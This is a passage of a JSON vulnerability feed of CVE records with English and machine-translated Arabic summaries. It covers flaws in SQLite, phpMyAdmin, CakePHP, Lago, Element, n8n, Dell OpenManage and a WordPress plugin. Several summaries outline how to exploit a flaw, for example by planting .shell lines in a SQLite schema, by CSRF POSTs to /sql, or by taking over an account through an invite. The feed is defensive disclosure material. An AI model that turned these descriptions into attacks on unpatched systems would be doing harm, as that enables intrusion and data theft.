title, slug, and publication status of any non-trashed post of any post type, including custom post types and WooCommerce products they do not own, exposing private or draft content or removing published content by manipulating the unrestricted post_status field.","ar":"تحتوي إضافة Kirki لووردبريس قبل الإصدار 6.4.1 على ثغرة تحكم معطوب في الوصول على مستوى الكائن في واجهة برمجة تطبيقات الصفحات REST API، حيث يعتمد المسار PUT /wp-json/kirki/v1/pages/{page_id} ومعالجات save_page_data و duplicate و delete في ملف PageController.php فقط على فحص وسيط خشن للأدوار مقابل الوصول دون إجراء فحص صلاحيات ووردبريس لكل كائن على حدة. يمكن لمستخدم يملك صلاحيات تعديل Kirki، والتي تُمنح لدور المحرر افتراضياً، استغلال هذا الخلل لتعديل العنوان والرابط الدائم (slug) وحالة النشر لأي منشور غير محذوف بأي نوع منشور، بما في ذلك أنواع المنشورات المخصصة ومنتجات WooCommerce التي لا يمتلكونها، مما يكشف محتوى خاصاً أو مسودات أو يزيل محتوى منشوراً من خلال التلاعب بحقل post_status غير المقيد."},"refs":[["https://wordpress.org/plugins/kirki/#developers","patch"],["https://www.vulncheck.com/advisories/kirki-wordpress-plugin-broken-object-level-access-control-via-page-api","advisory"]],"epss":0.0028,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"themeum-kirki"},{"id":"CVE-2026-91917","cvss":8,"vector":"CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-20","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T13:20:53Z","product":"Dell OpenManage Enterprise","affected":[],"title":{"en":"Dell OpenManage Enterprise, versions prior to 4.8.0, contains an Improper Input Validation vulnerability.","ar":"تتضمن إصدارات Dell OpenManage Enterprise السابقة لـ 4.8.0 ثغرة تحقق غير سليم من المدخلات."},"summary":{"en":"Dell OpenManage Enterprise, versions prior to 4.8.0, contains an Improper Input Validation vulnerability. A low privileged attacker with adjacent network access could potentially exploit this vulnerability, leading to Code execution.","ar":"تتضمن إصدارات Dell OpenManage Enterprise السابقة لـ 4.8.0 ثغرة تحقق غير سليم من المدخلات. يمكن لمهاجم منخفض الصلاحيات يتمتع بصلاحية وصول عبر شبكة مجاورة استغلال هذه الثغرة، مما قد يؤدي إلى تنفيذ شيفرة."},"refs":[["https://www.dell.com/support/kbdoc/en-us/000523220/dsa-2026-467-security-update-for-dell-openmanage-enterprise-vulnerabilities?msockid=3021cac2195069ed3194ddad186a68f9","advisory"]],"epss":0.0026,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"dell-openmanage-enterprise"},{"id":"CVE-2026-119586","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-77","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T12:16:44Z","product":"Sqlite Sqlite","affected":[[" – 3.54.1",null],["0 – 3.54.1",null]],"title":{"en":"SQLite CLI through 3.54.1 Command Injection via .recover Output","ar":"ثغرة حقن أوامر في واجهة سطر الأوامر لـ SQLite حتى الإصدار 3.54.1 عبر مخرج .recover"},"summary":{"en":"SQLite command-line shell through 3.54.1 contains a command injection vulnerability in the .recover command that emits attacker-planted dot-commands stored in sqlite_schema.sql values verbatim. Attackers can craft a database whose schema holds a valid CREATE statement followed by a .shell or .system line, executing OS commands when victims pipe .recover output into sqlite3.","ar":"تحتوي صدفة سطر الأوامر لـ SQLite حتى الإصدار 3.54.1 على ثغرة حقن أوامر في أمر .recover الذي يُصدر أوامر منقطة زرعها المهاجم ومخزنة حرفيًا في قيم sqlite_schema.sql. يمكن للمهاجمين صياغة قاعدة بيانات تحتوي بنيتها على جملة CREATE صالحة يتبعها سطر .shell أو .system، مما يؤدي إلى تنفيذ أوامر نظام التشغيل عندما يقوم الضحايا بتمرير مخرج .recover إلى sqlite3 عبر الأنبوب."},"refs":[["https://abraxaslabs.tech/research/sqlite-cli-recover","advisory"],["https://www.vulncheck.com/advisories/sqlite-cli-through-3.54.1-command-injection-via-recover-output","advisory"],["https://github.com/sqlite/sqlite","ref"],["https://github.com/sqlite/sqlite/blob/version-3.54.1/ext/recover/sqlite3recover.c#L1221-L1223","ref"],["https://github.com/sqlite/sqlite/blob/version-3.54.1/src/shell.c.in#L7877-L7891","ref"]],"epss":0.0084,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"sqlite"},{"id":"CVE-2026-119426","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-352","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T12:16:39Z","product":"Phpmyadmin Phpmyadmin","affected":[[" – 5.2.3",null],["0 – 5.2.3",null]],"title":{"en":"phpMyAdmin through 5.2.3 CSRF Token Bypass via Non-AJAX POST to /sql","ar":"تجاوز رمز تزوير الطلبات عبر المواقع (CSRF) في phpMyAdmin حتى الإصدار 5.2.3 عبر طلبات POST غير التابعة لـ AJAX إلى المسار /sql"},"summary":{"en":"phpMyAdmin through 5.2.3 contains a cross-site request forgery vulnerability that allows remote attackers to execute arbitrary SQL by bypassing CSRF token checks on non-AJAX POST requests. Attackers can lure authenticated victims into submitting cross-site POSTs carrying sql_query to /sql or /database/sql, running SQL with the victim's database privileges under http or config authentication.","ar":"يحتوي phpMyAdmin حتى الإصدار 5.2.3 على ثغرة تزوير الطلبات عبر المواقع تسمح للمهاجمين عن بُعد بتنفيذ أوامر SQL عشوائية عن طريق تجاوز عمليات التحقق من رمز تزوير الطلبات على طلبات POST غير التابعة لـ AJAX. يمكن للمهاجمين إغواء الضحايا الذين يملكون حسابًا مصادقًا عليه لإرسال طلبات POST عبر المواقع تحمل sql_query إلى /sql أو /database/sql، مما يؤدي إلى تشغيل أوامر SQL باستخدام صلاحيات قاعدة بيانات الضحية تحت المصادقة عبر http أو الإعدادات."},"refs":[["https://github.com/phpmyadmin/phpmyadmin/commit/910322373f14ed4601c85234858f630f127569ef","patch"],["https://github.com/phpmyadmin/phpmyadmin/commit/d1e2b54b530685c24dd91181b9f64a5a64621789","patch"],["https://github.com/phpmyadmin/phpmyadmin/pull/20569","patch"],["https://www.vulncheck.com/advisories/phpmyadmin-through-5.2.3-csrf-token-bypass-via-non-ajax-post-to-sql","patch"],["https://abraxaslabs.tech/research/phpmyadmin-csrf-sql","advisory"],["https://github.com/phpmyadmin/phpmyadmin","ref"],["https://github.com/phpmyadmin/phpmyadmin/blob/RELEASE_5_2_3/libraries/classes/Common.php#L87-L151","ref"]],"epss":0.0028,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"phpmyadmin"},{"id":"CVE-2026-119419","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-89","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T12:16:38Z","product":"cakephp cakephp","affected":[["0 – 5.4.3",null]],"title":{"en":"CakePHP through 5.4.3 SQL Injection via StringExpression and IdentifierExpression Collation","ar":"CakePHP حتى الإصدار 5.4.3 يعاني من ثغرة حقن SQL عبر ترتيب التجميع (Collation) في StringExpression و IdentifierExpression"},"summary":{"en":"CakePHP through 5.4.3 contains an sql injection vulnerability that allows attackers to inject SQL by supplying unvalidated collation values to StringExpression and IdentifierExpression. Attackers controlling a collation name passed to the constructor or setCollation() can append SQL after the unquoted COLLATE clause, affecting every database driver within the connection's privileges.","ar":"يحتوي CakePHP حتى الإصدار 5.4.3 على ثغرة حقن SQL تسمح للمهاجمين بحقن أوامر SQL من خلال توفير قيم تجميع غير متحقق منها إلى StringExpression و IdentifierExpression. يمكن للمهاجمين الذين يتحكمون في اسم التجميع المُمرر إلى المنشئ (constructor) أو الدالة setCollation() إلحاق أوامر SQL بعد جملة COLLATE غير المحاطة بعلامات اقتباس، مما يؤثر على كل برامج تشغيل قواعد البيانات ضمن صلاحيات الاتصال."},"refs":[["https://github.com/cakephp/cakephp/commit/21951faea40060dcc5cc1da3159056df66816d3c","patch"],["https://github.com/cakephp/cakephp/commit/ac07372e6a3045ce2030701a5bc5ed71aa2b4b82","patch"],["https://github.com/cakephp/cakephp/commit/ae8c354cf825aeb7090ea4b48ce98142446f3ac9","patch"],["https://github.com/cakephp/cakephp/commit/d04d342c3d1e0bac7ce7661bc098902cc412e595","patch"],["https://github.com/cakephp/cakephp/pull/19726","patch"],["https://abraxaslabs.tech/research/cakephp-collate-sqli","advisory"],["https://www.vulncheck.com/advisories/cakephp-through-5.4.3-sql-injection-via-stringexpression-and-identifierexpression-collation","advisory"],["https://github.com/cakephp/cakephp","ref"],["https://github.com/cakephp/cakephp/blob/6f3dd91371ac0698b64024ddb21d57def9fbba91/src/Database/Expression/IdentifierExpression.php#L106","ref"],["https://github.com/cakephp/cakephp/blob/6f3dd91371ac0698b64024ddb21d57def9fbba91/src/Database/Expression/StringExpression.php#L77","ref"]],"epss":0.0039,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"cakephp"},{"id":"CVE-2026-119420","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-288","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T12:16:38Z","product":"getlago lago","affected":[["0 – 1.55.0",null]],"title":{"en":"Lago through 1.55.0 Authentication Bypass via acceptInvite GraphQL Mutation","ar":"Lago حتى الإصدار 1.55.0 تجاوز المصادقة عبر طفرة GraphQL المسمى acceptInvite"},"summary":{"en":"Lago through 1.55.0 contains an authentication bypass vulnerability that allows organization administrators to obtain session tokens for existing accounts via the acceptInvite mutation without a password check. Attackers can invite a victim's email, accept with an arbitrary password, and receive a JWT to access the victim's organizations, billing data, API keys and payment integrations.","ar":"يحتوي Lago حتى الإصدار 1.55.0 على ثغرة تجاوز مصادقة تسمح لمديري المؤسسات بالحصول على رموز الجلسة للحسابات الموجودة عبر طفرة acceptInvite دون التحقق من كلمة المرور. يمكن للمهاجمين دعوة بريد إلكتروني للضحية، والقبول بكلمة مرور تعسفية، وتلقي رمز JWT للوصول إلى مؤسسات الضحية، وبيانات الفوترة، ومفاتيح API، وتكاملات الدفع."},"refs":[["https://github.com/getlago/lago-api/commit/5a9d5935b027d1db7171c7c015283d5870451305","patch"],["https://github.com/getlago/lago-api/pull/6146","patch"],["https://abraxaslabs.tech/research/lago-invite-ato","advisory"],["https://www.vulncheck.com/advisories/lago-through-1.55.0-authentication-bypass-via-acceptinvite-graphql-mutation","advisory"],["https://github.com/getlago/lago-api","ref"],["https://github.com/getlago/lago-api/blob/v1.55.0/app/services/invites/accept_service.rb#L15-L16","ref"],["https://github.com/getlago/lago-api/blob/v1.55.0/app/services/users_service.rb#L89-L98","ref"]],"epss":0.0039,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"getlago-lago"},{"id":"CVE-2026-119407","cvss":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H","cwe":"CWE-352","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T12:16:37Z","product":"element-hq element-web","affected":[["0 – <1.12.32","1.12.32"]],"title":{"en":"Element Web and Element Desktop before 1.12.32 Forced Logout via Guest Credential URL Parameters","ar":"Element Web و Element Desktop قبل الإصدار 1.12.32 تسجيل خروج قسري عبر معاملات عنوان URL لبيانات الاعتماد للضيف"},"summary":{"en":"Element Web and Element Desktop before 1.12.32 accept guest credentials from URL fragment parameters in loadSession, allowing remote unauthenticated attackers to log out users and clear local stores. Attackers can lure logged-in users into opening links with guest_user_id and guest_access_token to force an attacker-controlled guest session and destroy unbacked end-to-end encryption keys.","ar":"تقبل Element Web و Element Desktop قبل الإصدار 1.12.32 بيانات اعتماد الضيف من معاملات جزء عنوان URL في loadSession، مما يسمح للمهاجمين البعيدين دون مصادقة بتسجيل خروج المستخدمين ومسح المتاجر المحلية. يمكن للمهاجمين إغواء المستخدمين المسجلين الدخول لفتح روابط تحتوي على guest_user_id و guest_access_token لفرض جلسة ضيف يتحكم فيها المهاجم وتدمير مفاتيح التشفير من طرف إلى طرف غير المدعومة."},"refs":[["https://github.com/element-hq/element-web/commit/792453c88a399d570599f5d73b08b40157cd80c0","patch"],["https://abraxaslabs.tech/research/element-fragment-guest","advisory"],["https://github.com/element-hq/element-web/security/advisories/GHSA-c88w-7h6p-27xr","advisory"],["https://www.vulncheck.com/advisories/element-web-and-element-desktop-before-1.12.32-forced-logout-via-guest-credential-url-parameters","advisory"],["https://github.com/element-hq/element-web","ref"],["https://github.com/element-hq/element-web/blob/v1.12.31/apps/web/src/Lifecycle.ts#L188","ref"],["https://github.com/element-hq/element-web/releases/tag/v1.12.32","ref"]],"epss":0.0014,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"element-hq-element-web"},{"id":"CVE-2026-119408","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-653","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T12:16:37Z","product":"n8n-io n8n","affected":[["2.43.0 – <2.43.3","2.43.3"],["0 – <2.42.6","2.42.6"],["3.0.0 – <3.0.1","3.0.1"]],"title":{"en":"n8n before 2.42.6, 2.43.3 and 3.0.1 Code Execution Outside Task Runner Isolation via Deprecated Function Nodes","ar":"n8n قبل الإصدارات 2.42.6 و 2.43.3 و 3.0.1 تنفيذ أوامر خارج عزل مشغل المهام عبر عقد الدوال المهملة"},"summary":{"en":"n8n before 2.42.6, 2.43.x before 2.43.3, and 3.x before 3.0.1 contains a remote code execution vulnerability via deprecated Function, Function Item, and LangChain Code nodes running outside task runner isolation. Authenticated users who can create, modify, or import workflows naming these hidden node types can execute JavaScript in the n8n main process.","ar":"يحتوي n8n قبل الإصدارات 2.42.6، و 2.43.x قبل الإصدار 2.43.3، و 3.x قبل الإصدار 3.0.1 على ثغرة تنفيذ أوامر عن بُعد عبر عقد Function و Function Item و LangChain Code المهملة التي تعمل خارج عزل مشغل المهام. يمكن للمستخدمين المصادق عليهم القادرين على إنشاء أو تعديل أو استيراد سير العمل التي تسمي أنواع العقد المخفية هذه تنفيذ JavaScript في عملية n8n الرئيسية."},"refs":[["https://github.com/n8n-io/n8n/commit/ea8417e29ad6f8b981d9a04b17283d5d77f2b5bb","patch"],["https://abraxaslabs.tech/research/n8n-function-vm2","advisory"],["https://github.com/n8n-io/n8n/security/advisories/GHSA-9p7v-45m2-wxgj","advisory"],["https://www.vulncheck.com/advisories/n8n-before-2.42.6-2.43.3-and-3.0.1-code-execution-outside-task-runner-isolation-via-deprecated-function-nodes","advisory"],["https://github.com/n8n-io/n8n","ref"],["https://github.com/n8n-io/n8n/blob/n8n@2.42.0/packages/nodes-base/nodes/Function/Function.node.ts#L167","ref"],["https://github.com/n8n-io/n8n/releases/tag/n8n@2.42.6","ref"],["https://github.com/n8n-io/n8n/releases/tag/n8n@2.43.3","ref"],["https://github.com/n8n-io/n8n/releases/tag/n8n@3.0.1","ref"]],"epss":0.0063,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"n8n-io-n8n"},{"id":"CVE-2026-119373","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T12:16:36Z","product":"SQLite SQLite","affected":[["0 – <3.54.0","3.54.0"],[" – <3.54.0","3.54.0"]],"title":{"en":"SQLite before 3.54.0 FTS5 Heap Buffer Overflow via fts5MergeRowidLists()","ar":"SQLite قبل الإصدار 3.54.0 فيضان مخزن المؤقت للكومة في FTS5 عبر دالة fts5MergeRowidLists()"},"summary":{"en":"SQLite before 3.54.0 built with FTS5 contains a heap buffer overflow in fts5MergeRowidLists() that undersizes the output buffer when merging detail=none prefix doclists. Attackers who can populate a detail=none FTS5 table with negative rowids and run a prefix MATCH query can write past the allocation, corrupting heap memory and crashing the process.","ar":"تحتوي SQLite قبل الإصدار 3.54.0 المبنية مع FTS5 على فيضان مخزن مؤقت للكومة في fts5MergeRowidLists() مما يقلل حجم مخزن المؤقت للخرجي عند دمج قوائم معرفات الصفوف للبادئات detail=none. يمكن للمهاجمين الذين يمكنهم ملء جدول FTS5 بـ detail=none بمعرفات صفوف سالبة وتشغيل استعلام MATCH للبادئة الكتابة بعد التخصيص، مما يؤدي إلى إفساد ذاكرة الكومة وتعطل العملية."},"refs":[["https://github.com/sqlite/sqlite/blob/version-3.53.4/ext/fts5/fts5_index.c#L6107","patch"],["https://github.com/sqlite/sqlite/commit/e1c9934f9f11a499029abb020ea715a08970da80","patch"],["https://sqlite.org/bugs/info/2026-08-04T08:49:27Z","patch"],["https://sqlite.org/src/info/a7f8c92f62","patch"],["https://abraxaslabs.tech/research/sqlite-fts5-rowidmerge","advisory"],["https://www.vulncheck.com/advisories/sqlite-before-3.54.0-fts5-heap-buffer-overflow-via-fts5mergerowidlists","advisory"],["https://github.com/sqlite/sqlite","ref"],["https://sqlite.org/releaselog/3_54_0.html","ref"]],"epss":0.0014,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"sqlite"},{"id":"CVE-2026-119379","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T12:16:36Z","product":"Sqlite Sqlite","affected":[[" – <3.54.0","3.54.0"]],"title":{"en":"SQLite before 3.54.0 built with the session extension contains a heap buffer overflow vulnerability in sqlite3changeset_apply() that allows attackers ","ar":"إصدارات SQLite التي تسبق 3.54.0 المبنية مع امتداد الجلسة تحتوي على ثغرة فيضان المخزن المؤقت للكومة في sqlite3changeset_apply() والتي تسمح للمهاجمين"},"summary":{"en":"SQLite before 3.54.0 built with the session extension contains a heap buffer overflow vulnerability in sqlite3changeset_apply() that allows attackers to corrupt heap memory by supplying crafted changesets. Attackers can repeat a table name in a second changeset block with a larger column count, causing sessionUpdateFind() to memset past the undersized aUpdateMask allocation.","ar":"إصدارات SQLite التي تسبق الإصدار 3.54.0 المبنية مع امتداد الجلسة تحتوي على ثغرة فيضان المخزن المؤقت للكومة في الدالة sqlite3changeset_apply() والتي تسمح للمهاجمين بإفساد ذاكرة الكومة عبر توفير مجموعات تغييرات معدلة. يمكن للمهاجمين تكرار اسم جدول في كتلة مجموعة تغييرات ثانية مع عدد أعمدة أكبر، مما يتسبب في قيام الدالة sessionUpdateFind() بالتنفيذ فوق تخصيص aUpdateMask صغير الحجم."},"refs":[["https://github.com/sqlite/sqlite/commit/64459c87cc702d600704fb77ee40ca1782398a52","patch"],["https://sqlite.org/bugs/info/2026-08-16T10:15:25Z","patch"],["https://sqlite.org/src/info/3f57024aecea0f3b","patch"],["https://abraxaslabs.tech/research/sqlite-session-ncol","advisory"],["https://www.vulncheck.com/advisories/sqlite-before-3.54.0-heap-buffer-overflow-via-session-extension-sessionupdatefind","advisory"],["https://github.com/sqlite/sqlite","ref"],["https://github.com/sqlite/sqlite/blob/version-3.53.4/ext/session/sqlite3session.c#L5619","ref"],["https://sqlite.org/releaselog/3_54_0.html","ref"]],"epss":0.0018,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"sqlite"},{"id":"CVE-2026-119374","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T12:16:36Z","product":"Sqlite Sqlite","affected":[[" – <3.54.0","3.54.0"]],"title":{"en":"SQLite before 3.54.0 built with FTS5 contains a heap buffer overflow in fts5DoSecureDelete() that allows attackers to write past the leaf page buffer ","ar":"يحتوي SQLite الذي يسبق الإصدار 3.54.0 والمبني باستخدام FTS5 على فيضان مخزن مؤقت للكومة في الدالة fts5DoSecureDelete() مما يسمح للمهاجمين بالكتباة تجاوز مخزن مؤقت لصف الورقة."},"summary":{"en":"SQLite before 3.54.0 built with FTS5 contains a heap buffer overflow in fts5DoSecureDelete() that allows attackers to write past the leaf page buffer via crafted footer key offsets. Attackers can supply a database file with a corrupted FTS5 index that, when deleted from with secure-delete enabled, corrupts heap memory and crashes the application.","ar":"يحتوي SQLite الذي يسبق الإصدار 3.54.0 والمبني باستخدام FTS5 على فيضان مخزن مؤقت للكومة في الدالة fts5DoSecureDelete() مما يسمح للمهاجمين بالكتابة تجاوز مخزن مؤقت لصف الورقة عبر إزاحات تذيل مفصلة. يمكن للمهاجمين توفير ملف قاعدة بيانات يحتوي على فهرس FTS5 تالف والذي، عند الحذف منه مع تمكين الحذف الآمن، يؤدي إلى إفساد ذاكرة الكومة وتعطل التطبيق."},"refs":[["https://github.com/sqlite/sqlite/blob/version-3.53.4/ext/fts5/fts5_index.c#L5525","patch"],["https://github.com/sqlite/sqlite/commit/d9de6eedbe918c074c7556400fa21df5960704d9","patch"],["https://sqlite.org/src/info/9cd4f9e920","patch"],["https://abraxaslabs.tech/research/sqlite-fts5-securedel","advisory"],["https://www.vulncheck.com/advisories/sqlite-before-3.54.0-heap-buffer-overflow-via-fts5-fts5dosecuredelete","advisory"],["https://github.com/sqlite/sqlite","ref"],["https://sqlite.org/releaselog/3_54_0.html","ref"]],"epss":0.0018,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"sqlite"},{"id":"CVE-2026-111505","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-78","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T12:16:35Z","product":"Dell OpenManage Enterprise","affected":[],"title":{"en":"Dell OpenManage Enterprise, versions prior to 4.8.0, contains an Improper Neutralization of Special Elements used in an OS Command ('OS Command Inject","ar":"تتضمن إصدارات Dell OpenManage Enterprise السابقة لـ 4.8.0 ثغرة تحييد غير سليم للعناصر الخاصة المستخدمة في أمر نظام التشغيل (حقن أوامر نظام التشغيل)"},"summary":{"en":"Dell OpenManage Enterprise, versions prior to 4.8.0, contains an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Command execution.","ar":"تتضمن إصدارات Dell OpenManage Enterprise السابقة لـ 4.8.0 ثغرة تحييد غير سليم للعناصر الخاصة المستخدمة في أمر نظام التشغيل (حقن أوامر نظام التشغيل). يمكن لمهاجم منخفض الصلاحيات يتمتع بصلاحية وصول عن بُعد استغلال هذه الثغرة، مما قد يؤدي إلى تنفيذ أوامر."},"refs":[["https://www.dell.com/support/kbdoc/en-us/000523220/dsa-2026-467-security-update-for-dell-openmanage-enterprise-vulnerabilities?msockid=3021cac2195069ed3194ddad186a68f9","advisory"]],"epss":0.0145,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"dell-openmanage-enterprise"},{"id":"CVE-2026-101210","cvss":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-78","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T12:16:34Z","product":"Dell OpenManage Enterprise","affected":[],"title":{"en":"Dell OpenManage Enterprise, versions prior to 4.8.0, contains an Improper Neutralization of Special Elements used in an OS Command ('OS Command Inject","ar":"تتضمن إصدارات Dell OpenManage Enterprise السابقة لـ 4.8.0 ثغرة تحييد غير سليم للعناصر الخاصة المستخدمة في أمر نظام التشغيل (حقن أوامر نظام التشغيل)"},"summary":{"en":"Dell OpenManage Enterprise, versions prior to 4.8.0, contains an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability. A high privileged attacker with remote access could potentially exploit this vulnerability, leading to Command execution.","ar":"تتضمن إصدارات Dell OpenManage Enterprise السابقة لـ 4.8.0 ثغرة تحييد غير سليم للعناصر الخاصة المستخدمة في أمر نظام التشغيل (حقن أوامر نظام التشغيل). يمكن لمهاجم عالي الصلاحيات يتمتع بصلاحية وصول عن بُعد استغلال هذه الثغرة، مما قد يؤدي إلى تنفيذ أوامر."},"refs":[["https://www.dell.com/support/kbdoc/en-us/000523220/dsa-2026-467-security-update-for-dell-openmanage-enterprise-vulnerabilities?msockid=3021cac2195069ed3194ddad186a68f9","advisory"]],"epss":0.0284,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"dell-openmanage-enterprise"},{"id":"CVE-2026-101213","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-269","tags":["LPE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T12:16:34Z","product":"Dell OpenManage Enterprise","affected":[],"title":{"en":"Dell OpenManage Enterprise, versions prior to 4.8.0, contains an Improper Privilege Management vulnerability.","ar":"تتضمن إصدارات Dell OpenManage Enterprise السابقة لـ 4.8.0 ثغرة إبداء إدارة غير سليمة للصلاحيات."},"summary":{"en":"Dell OpenManage Enterprise, versions prior to 4.8.0, contains an Improper Privilege Management vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Elevation of privileges.","ar":"تتضمن إصدارات Dell OpenManage Enterprise السابقة لـ 4.8.0 ثغرة إدارة غير سليمة للصلاحيات. يمكن لمهاجم منخفض الصلاحيات يتمتع بصلاحية وصول محلي استغلال هذه الثغرة، مما قد يؤدي إلى تصعيد الصلاحيات."},"refs":[["https://www.dell.com/support/kbdoc/en-us/000523220/dsa-2026-467-security-update-for-dell-openmanage-enterprise-vulnerabilities?msockid=3021cac2195069ed3194ddad186a68f9","advisory"]],"epss":0.0013,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"dell-openmanage-enterprise"},{"id":"CVE-2026-101214","cvss":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-78","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T12:16:34Z","product":"Dell OpenManage Enterprise","affected":[],"title":{"en":"Dell OpenManage Enterprise, versions prior to 4.8.0, contains an Improper Neutralization of Special Elements used in an OS Command ('OS Command Inject","ar":"تتضمن إصدارات Dell OpenManage Enterprise السابقة لـ 4.8.0 ثغرة تحييد غير سليم للعناصر الخاصة المستخدمة في أمر نظام التشغيل (حقن أوامر نظام التشغيل)"},"summary":{"en":"Dell OpenManage Enterprise, versions prior to 4.8.0, contains an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability. A high privileged attacker with remote access could potentially exploit this vulnerability, leading to Command execution.","ar":"تتضمن إصدارات Dell OpenManage Enterprise السابقة لـ 4.8.0 ثغرة تحييد غير سليم للعناصر الخاصة المستخدمة في أمر نظام التشغيل (حقن أوامر نظام التشغيل). يمكن لمهاجم عالي الصلاحيات يتمتع بصلاحية وصول عن بُعد استغلال هذه الثغرة، مما قد يؤدي إلى تنفيذ أوامر."},"refs":[["https://www.dell.com/support/kbdoc/en-us/000523220/dsa-2026-467-security-update-for-dell-openmanage-enterprise-vulnerabilities?msockid=3021cac2195069ed3194ddad186a68f9","advisory"]],"epss":0.0284,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"dell-openmanage-enterprise"},{"id":"CVE-2026-111504","cvss":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-88","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T12:16:34Z","product":"Dell OpenManage Enterprise","affected":[],"title":{"en":"Dell OpenManage Enterprise, versions prior to 4.8.0, contains an Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') vu","ar":"Dell OpenManage Enterprise، الإصدارات السابقة لـ 4.8.0، تحتوي على ثغرة تحييد غير صحيح لمحددات الوسائط في أمر (حقن الوسائط)"},"summary":{"en":"Dell OpenManage Enterprise, versions prior to 4.8.0, contains an Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') vulnerability. A high privileged attacker with remote access could potentially exploit this vulnerability, leading to Elevation of privileges.","ar":"تحتوي منتجات Dell OpenManage Enterprise في الإصدارات السابقة لـ 4.8.0 على ثغرة تحييد غير صحيح لمحددات الوسائط في أمر (حقن الوسائط). يمكن لمهاجم يملك صلاحيات عالية ووصولاً عن بُعد استغلال هذه الثغرة، مما قد يؤدي إلى تصعيد 